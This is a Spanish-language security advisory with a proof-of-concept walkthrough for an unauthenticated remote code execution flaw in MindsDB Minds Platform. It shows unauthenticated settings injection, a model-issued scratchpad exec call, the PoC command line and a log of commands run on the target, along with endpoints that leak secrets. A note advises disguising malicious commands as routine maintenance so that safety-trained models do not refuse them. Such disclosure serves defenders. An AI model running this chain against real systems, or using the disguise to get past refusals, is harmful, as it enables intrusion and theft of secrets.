
CVE-2026-73678 — RCE sin autenticación en MindsDB Minds Platform mediante ejecución en scratchpad (CVSS 10.0). Verificado de extremo a extremo con un LLM real.
CVSS 10.0 (Crítico) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (el backend de código abierto de mindsdb/mindshub, anteriormente mindsdb/minds-platform) expone POST /api/v1/responses/ (una API de Responses compatible con OpenAI, puerto 26866) sin autenticación alguna. No hay middleware de autenticación — ni comprobación Bearer, ni sesión, nada. El servidor solo instala un middleware CORS permisivo (allow_origins=["*"], allow_credentials=True).
Por lo tanto, un atacante no autenticado puede:
Inyectar su propia configuración de LLM mediante PUT /api/v1/settings/{key} (openai_api_key, openai_base_url, planning_provider, coding_provider, *_model) — no se requiere token, todas las solicitudes devuelven 200.
Enviar un prompt manipulado a POST /api/v1/responses/ → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).
El LLM (controlado por el atacante) devuelve una llamada a función para la herramienta integrada scratchpad (action: "exec"). handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
Dado que el endpoint del LLM es elegido por el atacante (BYOK), el atacante puede hacer que el modelo devuelva cualquier código de scratchpad — no se requiere cooperación ni coerción del modelo. La única condición previa es una clave de API de LLM compatible con OpenAI que funcione.
Afectado: ≤ v26.1.0 (código vulnerable añadido el 2026-06-08, "Fresh #12461"). Parcheado: NINGUNO — GHSA no lista ninguna versión parcheada; el exec() permanece en main (solo existen un middleware Bearer COWORK_REQUIRE_AUTH opcional, desactivado por defecto, y comprobaciones de alcance org-mode).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
El PoC:
PUT /api/v1/settings/* sin autenticaciónuname -a + hostname mediante exec del scratchpad)cat /tmp/system_info.txt en el hostNota sobre prompt-engineering: los modelos con un fuerte entrenamiento en seguridad pueden rechazar comandos claramente maliciosos (p. ej., nombres de archivo que contengan "pwn"). Enmarca la solicitud como mantenimiento rutinario (diagnóstico del sistema, comprobación de salud) — el scratchpad ejecuta cualquier código que el modelo proporcione.
Cadena real de extremo a extremo contra cowork-server==0.26.6.26.1 con un proveedor de LLM real (OpenCode Zen, minimax-m3):
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
No se envió ningún token en ningún momento. La salida de uname -a se generó dentro del contenedor objetivo mediante el exec del scratchpad — ejecución arbitraria de comandos del sistema operativo como atacante remoto no autenticado.
GET /api/v1/settings/reveal-key/{name} filtra secretos configurados; POST /api/v1/settings/raw escribe ~/.anton/.env.mindsdb/mindshub)